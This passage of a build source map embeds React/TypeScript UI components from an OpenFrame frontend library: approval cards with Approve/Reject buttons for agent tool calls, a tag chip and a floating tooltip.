AAOkC,EAAA;AAMb,oBAAA;AAAO,MAAA;AAAY,MAAA;AACtC,IAAA;AACC,IAAA;AAGuD,EAAA;AAIrD,IAAA;AAAA,IAAA;AACM,MAAA;AACA,MAAA;AACI,MAAA;AACA,MAAA;AACA,MAAA;AACsC,MAAA;AACnC,MAAA;AACI,MAAA;AACC,MAAA;AACC,MAAA;AACR,MAAA;AAEV,MAAA;AACmB,wBAAA;AAAO,UAAA;AAAY,UAAA;AACtC,QAAA;AACC,QAAA;AAAA,MAAA;AAAA,IAAA;AAGP,EAAA;AAOG,EAAA;AACCA,IAAAA;AAAC,MAAA;AAAA,MAAA;AACc,QAAA;AAC2D,QAAA;AAEzD,QAAA;AACZ,UAAA;AAAA,UAAA;AACU,YAAA;AACsC,YAAA;AACvB,YAAA;AACqC,YAAA;AAC9D,YAAA;AAAA,UAAA;AAGH,QAAA;AAAA,MAAA;AACF,IAAA;AAED,IAAA;AACH,EAAA;AAEJ;AvLgvsB0F;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA","file":"/home/runner/work/openframe-oss-lib/openframe-oss-lib/openframe-frontend-core/dist/chunk-7GLJC4EO.cjs","sourcesContent":[null,"'use client';\n\nimport { Ban, CheckCircle, XCircle } from 'lucide-react';\nimport { forwardRef, useState } from 'react';\nimport { cn } from '../../utils/cn';\nimport { Button } from '../ui/button';\nimport { Tag } from '../ui/tag';\nimport { ApprovalStatusTag } from './approval-batch-message';\nimport type { ApprovalRequestMessageProps } from './types';\nimport type { ApprovalRequestField } from './types/message.types';\n\n/**\n * Stacked label/value rows for the approval card's structured field\n * list. Labels are tiny uppercase muted text; values render as primary\n * text with `whitespace-pre-wrap` so multi-line descriptions\n * (`content`, `resolution`, etc.) keep their structure. Mirrored across\n * the pending + resolved branches so an approved ticket reads the same\n * way it did at decision time.\n */\nfunction ApprovalFieldList({ fields }: { fields: ApprovalRequestField[] }) {\n  return (\n    <dl className=\"mt-[var(--spacing-system-xxs)] flex flex-col gap-2.5\">\n      {fields.map((f, i) => (\n        <div key={i} className=\"flex flex-col gap-0.5\">\n          <dt className=\"font-semibold uppercase text-ods-text-tertiary text-h6\">{f.label}</dt>\n          <dd className=\"whitespace-pre-wrap break-words text-ods-text-primary text-h6\">{f.value}</dd>\n        </div>\n      ))}\n    </dl>\n  );\n}\n\n/**\n * Shared body for both pending and resolved branches of\n * `<ApprovalRequestMessage>`. The pending card adds Approve/Reject\n * buttons below; the resolved card adds an Approved/Rejected `<Tag>`.\n * Everything ABOVE the footer — command bar, icon, structured-fields\n * stack, explanation paragraph — is identical, so the body lives here\n * to prevent silent drift between the two render paths (a prior\n * version already had a `break-words` vs `break-all` mismatch on the\n * `<code>` element from an out-of-sync copy-paste edit).\n */\nfunction ApprovalCardBody({ data }: { data: ApprovalRequestMessageProps['data'] }) {\n  return (\n    <div className=\"flex flex-col gap-[var(--spacing-system-xxs)]\">\n      <div className=\"flex max-h-32 items-start gap-[var(--spacing-system-xsf)] overflow-y-auto overscroll-contain rounded-md border border-ods-border bg-ods-bg p-[var(--spacing-system-sf)]\">\n        <code className=\"flex-1 whitespace-pre-wrap break-words text-ods-text-primary text-code\">{data.command}</code>\n        {data.icon && <div className=\"h-4 w-4 shrink-0 text-ods-text-tertiary\">{data.icon}</div>}\n      </div>\n      {data.fields && data.fields.length > 0 ? (\n        <ApprovalFieldList fields={data.fields} />\n      ) : (\n        data.explanation && (\n          <p className=\"whitespace-pre-line break-words text-ods-text-secondary text-h6\">{data.explanation}</p>\n        )\n      )}\n    </div>\n  );\n}\n\nconst ApprovalRequestMessage = forwardRef<HTMLDivElement, ApprovalRequestMessageProps>(\n  // `assistantType` is accepted for prop-parity with the batch card (so hosts\n  // can forward it uniformly); the viewer variant is driven by `variant`.\n  (\n    {\n      className,\n      data,\n      onApprove,\n      onReject,\n      status = 'pending',\n      assistantType: _assistantType,\n      variant = 'admin',\n      resolvedByName,\n      showFooterActions = true,\n      ...props\n    },\n    ref,\n  ) => {\n    const [isProcessing, setIsProcessing] = useState(false);\n\n    const handleApprove = async () => {\n      setIsProcessing(true);\n      try {\n        await onApprove?.(data.requestId);\n      } finally {\n        setIsProcessing(false);\n      }\n    };\n\n    const handleReject = async () => {\n      setIsProcessing(true);\n      try {\n        await onReject?.(data.requestId);\n      } finally {\n        setIsProcessing(false);\n      }\n    };\n\n    // CLIENT (Fae end-user) card — Figma 203-11947 \"fae-approval-block\".\n    // Shows ONLY the BE-generated title (`explanation`) plus the actions row\n    // or the full-text resolved pill; the raw command is never rendered.\n    if (variant === 'client') {\n      return (\n        <div\n          ref={ref}\n          className={cn(\n            'mb-[var(--spacing-system-xsf)] flex flex-col gap-[var(--spacing-system-mf)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-mf)]',\n            className,\n          )}\n          {...props}\n        >\n          <p className=\"w-full whitespace-pre-line break-words text-ods-text-primary text-h4\">\n            {data.explanation?.trim() || 'Approval required'}\n          </p>\n          {!showFooterActions ? null : status === 'pending' ? (\n            <div className=\"flex w-full items-center gap-[var(--spacing-system-mf)]\">\n              <Button\n                size=\"small-legacy\"\n                variant=\"accent\"\n                onClick={handleApprove}\n                disabled={isProcessing || !onApprove}\n                className={cn(\n                  'bg-ods-accent hover:bg-ods-accent/90',\n                  'text-ods-bg text-h5',\n                  'h-8 px-[var(--spacing-system-xsf)]',\n                )}\n              >\n                Approve\n              </Button>\n              <Button\n                size=\"small-legacy\"\n                variant=\"outline\"\n                onClick={handleReject}\n                disabled={isProcessing || !onReject}\n                className={cn(\n                  'border-ods-border bg-ods-card',\n                  'text-ods-text-primary text-h5',\n                  'h-8 px-[var(--spacing-system-xsf)] hover:bg-ods-bg',\n                )}\n              >\n                Reject\n              </Button>\n            </div>\n          ) : (\n            <div className=\"flex w-full\">\n              <ApprovalStatusTag status={status} resolvedByName={resolvedByName} inlineResolver />\n            </div>\n          )}\n        </div>\n      );\n    }\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          'mb-[var(--spacing-system-xsf)] flex flex-col gap-[var(--spacing-system-mf)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-mf)]',\n          className,\n        )}\n        {...props}\n      >\n        <ApprovalCardBody data={data} />\n        {!showFooterActions ? null : status === 'pending' ? (\n          <div className=\"flex items-center gap-[var(--spacing-system-mf)]\">\n            <Button\n              size=\"small-legacy\"\n              variant=\"accent\"\n              onClick={handleApprove}\n              disabled={isProcessing || !onApprove}\n              className={cn(\n                'bg-ods-accent hover:bg-ods-accent/90',\n                'text-ods-bg text-h5',\n                'h-8 px-[var(--spacing-system-xsf)]',\n              )}\n            >\n              Approve\n            </Button>\n            <Button\n              size=\"small-legacy\"\n              variant=\"outline\"\n              onClick={handleReject}\n              disabled={isProcessing || !onReject}\n              className={cn(\n                'border-ods-border bg-ods-card',\n                'text-ods-text-primary text-h5',\n                'h-8 px-[var(--spacing-system-xsf)] hover:bg-ods-bg',\n              )}\n            >\n              Reject\n            </Button>\n          </div>\n        ) : (\n          <div className=\"flex\">\n            {status === 'approved' ? (\n              <Tag label=\"Approved\" variant=\"success\" icon={<CheckCircle className=\"h-4 w-4\" />} />\n            ) : status === 'cancelled' ? (\n              <Tag label=\"Canceled\" variant=\"grey\" icon={<Ban className=\"h-4 w-4\" />} />\n            ) : (\n              <Tag label=\"Rejected\" variant=\"error\" icon={<XCircle className=\"h-4 w-4\" />} />\n            )}\n          </div>\n        )}\n      </div>\n    );\n  },\n);\n\nApprovalRequestMessage.displayName = 'ApprovalRequestMessage';\n\nexport { ApprovalRequestMessage };\n","'use client';\n\nimport { cva, type VariantProps } from 'class-variance-authority';\nimport type React from 'react';\nimport { useIsTruncated } from '../../hooks/ui/use-is-truncated';\nimport { cn } from '../../utils/cn';\nimport { XmarkCircleIcon } from '../icons-v2-generated/signs-and-symbols/xmark-circle-icon';\nimport { FloatingTooltip } from './floating-tooltip';\n\nconst tagVariants = cva(['inline-flex items-center justify-center rounded-md', 'transition-colors duration-150'], {\n  variants: {\n    // Chip scale. `default` is the classic 32px mono-uppercase tag; `large`\n    // is the Figma \"Feature Item\" chip (48px, h3 bold body label) used by\n    // chip groups acting as tabs (OpenFrame categories).\n    size: {\n      default: 'h-8 gap-[var(--spacing-system-xs)] p-[var(--spacing-system-xsf)] text-h5',\n      large: 'h-12 gap-[var(--spacing-system-xs)] p-[var(--spacing-system-s)] font-bold text-h3',\n    },\n    variant: {\n      primary: ['bg-ods-accent text-ods-text-on-accent', 'hover:bg-ods-accent-hover active:bg-ods-accent-active'],\n      outline: [\n        'border border-ods-border bg-ods-card text-ods-text-primary',\n        'hover:border-ods-border-hover hover:bg-ods-bg-hover',\n        'active:border-ods-border-active active:bg-ods-bg-active',\n      ],\n      success: [\n        'bg-ods-success-secondary text-ods-success',\n        'hover:bg-ods-success-secondary-hover active:bg-ods-success-secondary-active',\n      ],\n      warning: [\n        'bg-ods-warning-secondary text-ods-warning',\n        'hover:bg-ods-warning-secondary-hover active:bg-ods-warning-secondary-active',\n      ],\n      error: [\n        'bg-ods-error-secondary text-ods-error',\n        'hover:bg-ods-error-secondary-hover active:bg-ods-error-secondary-active',\n      ],\n      critical: ['bg-ods-error text-ods-error-secondary', 'hover:bg-ods-error-hover active:bg-ods-error-active'],\n      grey: [\n        'bg-ods-bg-surface text-ods-text-secondary',\n        'hover:bg-ods-bg-surface-hover active:bg-ods-bg-surface-active',\n      ],\n      // Active/selected chip state (Figma \"Feature Item\" active): pink\n      // border + pink-secondary fill. A dedicated variant (not appended\n      // utilities) so its own hover rules win — the outline variant's\n      // hover:bg/hover:border would otherwise repaint an active chip grey.\n      selected: [\n        'border border-ods-flamingo-pink bg-ods-flamingo-pink-secondary text-ods-text-primary',\n        'hover:border-ods-flamingo-pink hover:bg-ods-flamingo-pink-secondary-hover',\n        'active:bg-ods-flamingo-pink-secondary-active',\n      ],\n      // Cyan twin of `selected` (Mingo's accent) — same active-chip skin in the\n      // cyan theme so agent chip groups can match their own accent.\n      selectedCyan: [\n        'border border-ods-flamingo-cyan bg-ods-flamingo-cyan-secondary text-ods-text-primary',\n        'hover:border-ods-flamingo-cyan hover:bg-ods-flamingo-cyan-secondary-hover',\n        'active:bg-ods-flamingo-cyan-secondary-active',\n      ],\n      // Matches the EntityTagBadges / StatusBadge tag skin (ods-card + ods-border,\n      // mono uppercase) so the tag-editor chips render identically to the public\n      // tag badges. Used for FilterChipData variant 'tag' (see search-input).\n      badge: [\n        'border border-ods-border bg-ods-card font-mono uppercase tracking-wide text-ods-text-primary',\n        'transition-colors hover:border-ods-accent',\n      ],\n    },\n  },\n  defaultVariants: {\n    variant: 'primary',\n    size: 'default',\n  },\n});\n\nconst disabledTagClasses = [\n  'bg-ods-bg-surface text-ods-text-secondary',\n  'border-transparent',\n  'cursor-not-allowed',\n  'pointer-events-none',\n];\n\nexport interface TagProps\n  extends Omit<React.HTMLAttributes<HTMLDivElement>, 'children'>, VariantProps<typeof tagVariants> {\n  label: React.ReactNode;\n  labelClassName?: string;\n  icon?: React.ReactNode;\n  onClose?: () => void;\n  disabled?: boolean;\n  /**\n   * Root element. Defaults to `'div'`. Pass `'span'` to render an INLINE tag\n   * that is valid inside phrasing content (e.g. a markdown `<p>` — a block\n   * `<div>` there is invalid HTML and breaks hydration). The variant base is\n   * already `inline-flex`, so the span lays out identically. Note: `onClose`\n   * renders a `<button>`, which is fine inside a `<span>` but not inside an\n   * `<a>` — don't combine `as=\"span\"` + `onClose` inside an anchor.\n   */\n  as?: 'div' | 'span';\n}\n\n/**\n * The tag's label slot. String labels get a `FloatingTooltip` with the full\n * value when (and only when) the text is actually clipped — replacing the old\n * native `title`, which showed with the OS delay, unstyled, and even when\n * nothing was truncated. Node labels render exactly as before: the caller owns\n * their content (and any tooltip), so none is added here.\n * The trigger is a `span` so the tag stays valid phrasing content (`as=\"span\"`\n * exists precisely for tags inside a `<p>`).\n */\nfunction TagLabel({ label, labelClassName }: { label: React.ReactNode; labelClassName?: string }) {\n  const isString = typeof label === 'string';\n  const { ref, isTruncated } = useIsTruncated<HTMLSpanElement>(isString ? label : null);\n\n  if (!isString) {\n    return <span className={cn('truncate', labelClassName)}>{label}</span>;\n  }\n\n  return (\n    <FloatingTooltip\n      content={label}\n      side=\"top\"\n      disabled={!isTruncated}\n      as=\"span\"\n      triggerClassName=\"min-w-0 max-w-full\"\n      className=\"max-w-xs whitespace-pre-line [overflow-wrap:anywhere]\"\n    >\n      <span ref={ref} className={cn('block truncate', labelClassName)}>\n        {label}\n      </span>\n    </FloatingTooltip>\n  );\n}\n\nfunction Tag({\n  label,\n  variant,\n  size,\n  icon,\n  onClose,\n  className,\n  labelClassName,\n  disabled,\n  as: Comp = 'div',\n  ...props\n}: TagProps) {\n  return (\n    <Comp\n      className={cn(tagVariants({ variant, size }), disabled && disabledTagClasses, className)}\n      aria-disabled={disabled || undefined}\n      {...props}\n    >\n      {icon && (\n        <span className={cn('flex shrink-0 items-center justify-center', size === 'large' ? 'size-6' : 'size-5')}>\n          {icon}\n        </span>\n      )}\n      <TagLabel label={label} labelClassName={labelClassName} />\n      {onClose && (\n        <button\n          type=\"button\"\n          disabled={disabled}\n          onClick={e => {\n            e.stopPropagation();\n            onClose();\n          }}\n          className={cn(\n            'flex size-5 shrink-0 items-center justify-center rounded-full opacity-70 transition-opacity',\n            disabled ? 'cursor-not-allowed' : 'hover:opacity-100',\n          )}\n          aria-label=\"Remove\"\n        >\n          <XmarkCircleIcon className=\"size-4\" />\n        </button>\n      )}\n    </Comp>\n  );\n}\n\nexport { Tag, tagVariants };\n","'use client';\n\nimport {\n  useFloating,\n  autoUpdate,\n  offset,\n  flip,\n  shift,\n  size,\n  useDismiss,\n  useRole,\n  useInteractions,\n  FloatingPortal,\n  useHover,\n  safePolygon,\n  arrow,\n} from '@floating-ui/react';\nimport { type ReactNode, useMemo, useState } from 'react';\nimport { cn } from '../../utils/cn';\n\ninterface FloatingTooltipProps {\n  content: ReactNode;\n  children: ReactNode;\n  side?: 'top' | 'right' | 'bottom' | 'left';\n  className?: string;\n  delayDuration?: number;\n  /** Disable the tooltip without unmounting the trigger wrapper. */\n  disabled?: boolean;\n  /**\n   * Classes for the trigger wrapper — the element this component puts around\n   * `children` to anchor the tooltip. That element becomes the flex/grid item in\n   * the caller's layout, so anything the child needed there (`min-w-0`, `flex-1`)\n   * must move onto it. Omit it and the wrapper carries no class, exactly as before.\n   */\n  triggerClassName?: string;\n  /**\n   * Trigger wrapper element. Default `'div'`. Use `'span'` where a block element\n   * is invalid HTML — inside a `<p>`, a heading, or another `<span>`.\n   */\n  as?: 'div' | 'span';\n}\n\n// Parse colored text markup like [YELLOW]text[/YELLOW] into JSX\nfunction parseColoredText(text: string): ReactNode {\n  if (typeof text !== 'string') return text;\n\n  const parts: ReactNode[] = [];\n  let lastIndex = 0;\n\n  // Regex to match [COLOR]text[/COLOR] patterns\n  const colorRegex = /\\[([A-Z]+)\\](.*?)\\[\\/\\1\\]/g;\n  let match;\n  let keyIndex = 0;\n\n  while ((match = colorRegex.exec(text)) !== null) {\n    // Add text before the colored part\n    if (match.index > lastIndex) {\n      const beforeText = text.slice(lastIndex, match.index);\n      parts.push(<span key={`text-${keyIndex++}`}>{beforeText}</span>);\n    }\n\n    // Add colored text\n    const color = match[1].toLowerCase();\n    const coloredText = match[2];\n\n    // Map colors to ODS CSS classes using correct Tailwind class names\n    const colorClass =\n      color === 'yellow'\n        ? 'text-ods-accent'\n        : color === 'green'\n          ? 'text-ods-success'\n          : color === 'red'\n            ? 'text-ods-error'\n            : color === 'blue'\n              ? 'text-ods-info'\n              : color === 'pink'\n                ? 'text-ods-accent'\n                : color === 'cyan'\n                  ? 'text-ods-info'\n                  : 'text-ods-accent'; // Default to ODS accent\n\n    parts.push(\n      <span key={`color-${keyIndex++}`} className={cn('font-semibold', colorClass)}>\n        {coloredText}\n      </span>,\n    );\n\n    lastIndex = match.index + match[0].length;\n  }\n\n  // Add remaining text\n  if (lastIndex < text.length) {\n    const remainingText = text.slice(lastIndex);\n    parts.push(<span key={`text-${keyIndex++}`}>{remainingText}</span>);\n  }\n\n  return parts.length > 0 ? <>{parts}</> : text;\n}\n\nexport function FloatingTooltip({\n  content,\n  children,\n  side = 'right',\n  className,\n  delayDuration = 0,\n  disabled = false,\n  triggerClassName,\n  as: TriggerTag = 'div',\n}: FloatingTooltipProps) {\n  const [isOpen, setIsOpen] = useState(false);\n  // The arrow node is STATE, not a ref: `arrow()`'s `element` accepts either,\n  // and the ref form has to be read during render to build the middleware\n  // array. State also makes the middleware re-run the moment the arrow mounts\n  // instead of relying on the next positioning pass to notice it.\n  const [arrowEl, setArrowEl] = useState<HTMLDivElement | null>(null);\n\n  const { refs, floatingStyles, context, placement, middlewareData } = useFloating({\n    open: isOpen,\n    onOpenChange: setIsOpen,\n    placement: side,\n    middleware: [\n      offset(12),\n      flip({\n        fallbackAxisSideDirection: 'start',\n        crossAxis: false,\n        padding: 8,\n      }),\n      shift({ padding: 8 }),\n      // Cap the tooltip to the space left in the viewport so tall content\n      // scrolls inside it instead of overflowing off-screen. Applied straight to\n      // the floating node's style (no React state → no autoUpdate re-render loop);\n      // the inner scroll wrapper below turns the cap into an actual scroll area.\n      size({\n        padding: 8,\n        apply({ availableHeight, elements }) {\n          const floatingEl = elements.floating;\n          floatingEl.style.maxHeight = `${Math.max(64, availableHeight)}px`;\n        },\n      }),\n      arrow({ element: arrowEl }),\n    ],\n    whileElementsMounted: autoUpdate,\n  });\n\n  const hover = useHover(context, {\n    move: false,\n    enabled: !disabled,\n    delay: { open: delayDuration, close: 0 },\n    handleClose: safePolygon(),\n  });\n  const dismiss = useDismiss(context);\n  const role = useRole(context, { role: 'tooltip' });\n\n  const { getReferenceProps, getFloatingProps } = useInteractions([hover, dismiss, role]);\n\n  // Destructured once: reaching for `refs.setFloating` inside the JSX is a\n  // property read on floating-ui's ref bag on every render, which the compiler\n  // reads as touching a ref in render even though these are plain callback\n  // setters being handed straight to React.\n  const { setReference, setFloating } = refs;\n\n  // Parse content if it's a string with color markup\n  const parsedContent = useMemo(() => {\n    if (typeof content === 'string') {\n      return parseColoredText(content);\n    }\n    return content;\n  }, [content]);\n\n  // Calculate arrow position\n  const { x: arrowX, y: arrowY } = middlewareData.arrow ?? {};\n\n  const staticSide = {\n    top: 'bottom',\n    right: 'left',\n    bottom: 'top',\n    left: 'right',\n  }[placement.split('-')[0]];\n\n  return (\n    <>\n      <TriggerTag ref={setReference} className={triggerClassName} {...getReferenceProps()}>\n        {children}\n      </TriggerTag>\n      <FloatingPortal>\n        {isOpen && (\n          <div\n            ref={setFloating}\n            style={{\n              ...floatingStyles,\n              zIndex: 2147483647,\n            }}\n            {...getFloatingProps()}\n            className={cn(\n              // ODS Design System tooltip styling. `flex flex-col` + `overflow-hidden`\n              // let the inner wrapper own the scroll while the rounded corners clip it.\n              'flex max-w-xs flex-col overflow-hidden rounded-md',\n              'border border-ods-border bg-ods-card',\n              // ODS shadows for proper elevation\n              'shadow-[var(--shadow-md)]',\n              className,\n            )}\n          >\n            {/* Scroll wrapper — `min-h-0` lets it shrink below content height inside\n                the max-height cap set by the `size` middleware, so tall content scrolls. */}\n            <div className=\"min-h-0 overflow-y-auto whitespace-pre-line px-3 py-2.5 text-ods-text-primary text-h6\">\n              {parsedContent}\n            </div>\n            {/* Arrow element */}\n            <div\n              ref={setArrowEl}\n              style={{\n                left: arrowX != null ? `${arrowX}px` : '',\n                top: arrowY != null ? `${arrowY}px` : '',\n                ...(staticSide && { [staticSide]: '-4px' }),\n              }}\n              className={cn('absolute h-2 w-2 rotate-45', 'border-ods-border bg-ods-card', {\n                'border-b border-r': staticSide === 'left',\n                'border-r border-t': staticSide === 'bottom',\n                // `right` and `top` were separate keys spelling the same two\n                // classes in different order ('border-l border-b' vs\n                // 'border-b border-l'); sorting collapsed them into a duplicate\n                // key, which would have dropped the `right` branch entirely.\n                // Merged to keep the emitted CSS identical to before.\n                // NOTE: that both sides ever wanted the same border pair looks\n                // like a latent bug — worth a designer's eye. (2026-08-24)\n                'border-b border-l': staticSide === 'right' || staticSide === 'top',\n              })}\n            />\n          </div>\n        )}\n      </FloatingPortal>\n    </>\n  );\n}\n","'use client';\n\nimport { forwardRef, useState } from 'react';\nimport type { HTMLAttributes } from 'react';\nimport { cn } from '../../utils/cn';\nimport { CheckCircleIcon, DotsLoaderIcon, XmarkCircleIcon, XmarkIcon } from '../icons-v2-generated';\nimport type { ToolType } from '../platform';\nimport { ToolIcon } from '../tool-icon';\nimport { Button } from '../ui/button';\nimport { Tag } from '../ui/tag';\nimport { ExpandChevron } from './expand-chevron';\nimport { useCollapsible } from './hooks/use-collapsible';\nimport { ArgRow, ResultBlock } from './tool-call-blocks';\nimport type {\n  ApprovalBlockVariant,\n  AssistantType,\n  ApprovalBatchExecutionState,\n  ApprovalBatchSegment,\n  PendingToolCallData,\n} from './types';\nimport { COMMAND_BODY_ARG_KEYS, getCommandText } from './utils/tool-call-helpers';\n\nexport interface ApprovalBatchMessageProps extends HTMLAttributes<HTMLDivElement> {\n  data: ApprovalBatchSegment['data'];\n  status?: ApprovalBatchSegment['status'];\n  onApprove?: (requestId?: string) => void | boolean | Promise<void | boolean>;\n  onReject?: (requestId?: string) => void | boolean | Promise<void | boolean>;\n  /**\n   * Cap the tool-call list height so it scrolls internally while the footer\n   * (explanations + Approve/Reject) stays pinned below. Omit for the default\n   * chat behaviour where the whole batch grows with its content.\n   */\n  maxBodyHeight?: number | string;\n  /** Display name of the user who resolved the request; shown as \"by {name}\" beside the status tag. */\n  resolvedByName?: string | null;\n  /**\n   * Per-tool execution status icon (queued dots → check/cross). On in dialog messages where tool\n   * execution is tracked live; turn off for notifications, which have no execution state and would\n   * otherwise show the dots spinner forever after approval. Defaults to on.\n   */\n  showExecutionStatus?: boolean;\n  /**\n   * Chat identity. Kept for prop parity with the message renderers; does NOT\n   * drive the styling anymore — use `variant` instead. An admin can be\n   * looking at a Fae dialog (tickets dialog client tab) and must still see\n   * the full admin block.\n   */\n  assistantType?: AssistantType;\n  /**\n   * Viewer variant. `'admin'` (default) = full block with command preview,\n   * expandable args/result and tool icon. `'client'` = end-client (Fae\n   * desktop app) card that shows ONLY the BE-generated title(s) plus the\n   * Approve/Reject buttons or the full-text resolved pill (\"Approved by\n   * {name}\") — commands and scripts are never rendered.\n   */\n  variant?: ApprovalBlockVariant;\n  /**\n   * Render the footer Approve/Reject buttons (or the resolved-status tag).\n   * Turn off when the host owns the actions row — e.g. the approval\n   * notification tile. Explanation bullets still render.\n   */\n  showFooterActions?: boolean;\n}\n\nconst COMMAND_BODY_KEYS = new Set<string>(COMMAND_BODY_ARG_KEYS);\n\nexport interface ApprovalStatusTagProps {\n  status: ApprovalBatchSegment['status'];\n  resolvedByName?: string | null;\n  inlineResolver?: boolean;\n}\n\n/**\n * Terminal-status badge for a resolved approval batch (approved / rejected /\n * cancelled); renders nothing while pending. With `inlineResolver` the\n * resolver's name is baked into the tag as a single full-text pill\n * (\"Approved by {name}\"); otherwise callers render \"by {name}\" as a separate\n * muted span. Also used by the approval notification tile, which hosts the\n * actions row itself (`showFooterActions={false}`).\n */\nexport function ApprovalStatusTag({ status, resolvedByName, inlineResolver = false }: ApprovalStatusTagProps) {\n  const suffix = inlineResolver && resolvedByName ? ` by ${resolvedByName}` : '';\n  if (status === 'approved') {\n    return <Tag label={`Approved${suffix}`} variant=\"success\" icon={<CheckCircleIcon className=\"h-4 w-4\" />} />;\n  }\n  if (status === 'cancelled') {\n    return <Tag label={`Canceled${suffix}`} variant=\"grey\" icon={<XmarkIcon className=\"h-4 w-4\" />} />;\n  }\n  if (status === 'rejected') {\n    return <Tag label={`Rejected${suffix}`} variant=\"error\" icon={<XmarkCircleIcon className=\"h-4 w-4\" />} />;\n  }\n  return null;\n}\n\nfunction getArgEntries(call: PendingToolCallData): Array<[string, unknown]> {\n  const args = call.toolCallArguments;\n  if (!args || typeof args !== 'object') return [];\n  return Object.entries(args).filter(\n    ([k, v]) => !COMMAND_BODY_KEYS.has(k) && v !== null && v !== undefined && v !== '',\n  );\n}\n\n/**\n * Status icon for one tool call inside an approved/done batch.\n *  - pending batch     → null (chevron-only row, no status icon)\n *  - approved, no exec → DotsLoaderIcon (queued / waiting for backend)\n *  - executing         → DotsLoaderIcon\n *  - done + success    → green check\n *  - done + failure    → red cross\n */\nfunction ExecutionStatusIcon({\n  batchStatus,\n  execution,\n}: {\n  batchStatus: ApprovalBatchSegment['status'];\n  execution: ApprovalBatchExecutionState | undefined;\n}) {\n  if (batchStatus !== 'approved') return null;\n  if (!execution || execution.status === 'executing')\n    return <DotsLoaderIcon size={16} className=\"text-ods-text-secondary\" />;\n  if (execution.success === false) return <XmarkCircleIcon className=\"h-4 w-4 text-ods-error\" />;\n  return <CheckCircleIcon className=\"h-4 w-4 text-ods-success\" />;\n}\n\ninterface ToolCallRowProps {\n  call: PendingToolCallData;\n  expanded: boolean;\n  onToggle: () => void;\n  batchStatus: ApprovalBatchSegment['status'];\n  execution: ApprovalBatchExecutionState | undefined;\n  showExecutionStatus: boolean;\n}\n\n// ADMIN-only row: command preview header, expandable args/result. The client\n// variant never renders tool calls — see the `variant === 'client'` branch of\n// `<ApprovalBatchMessage>`.\nfunction ToolCallRow({ call, expanded, onToggle, batchStatus, execution, showExecutionStatus }: ToolCallRowProps) {\n  const command = getCommandText(call);\n  const args = getArgEntries(call);\n  const toolType = (call.toolType as ToolType) || 'OPENFRAME';\n  const { innerRef, containerStyle } = useCollapsible({ expanded });\n  const result = execution?.status === 'done' ? execution.result : undefined;\n  const hasExpandableBody = args.length > 0 || (typeof result === 'string' && result.length > 0);\n\n  return (\n    <div className=\"flex w-full flex-col items-start border-b border-ods-border bg-ods-card last:border-b-0\">\n      <button\n        type=\"button\"\n        onClick={onToggle}\n        className=\"flex w-full cursor-pointer items-start gap-[var(--spacing-system-xsf)] p-[var(--spacing-system-sf)] text-left\"\n      >\n        <div className=\"flex h-5 w-5 shrink-0 items-center justify-center\">\n          <ToolIcon toolType={toolType} size={16} />\n        </div>\n        <div\n          className={cn(\n            'min-w-0 flex-1 text-h6',\n            expanded\n              ? 'whitespace-pre-wrap break-all text-ods-text-primary'\n              : 'line-clamp-2 max-h-10 break-all text-ods-text-secondary',\n          )}\n        >\n          {command}\n        </div>\n        {showExecutionStatus && (\n          <div className=\"flex h-5 w-5 shrink-0 items-center justify-center\">\n            <ExecutionStatusIcon batchStatus={batchStatus} execution={execution} />\n          </div>\n        )}\n        <div className=\"flex h-5 w-5 shrink-0 items-center justify-center\">\n          <ExpandChevron expanded={expanded} />\n        </div>\n      </button>\n\n      <div className=\"w-full\" style={containerStyle}>\n        <div ref={innerRef}>\n          {hasExpandableBody && (\n            <div className=\"flex 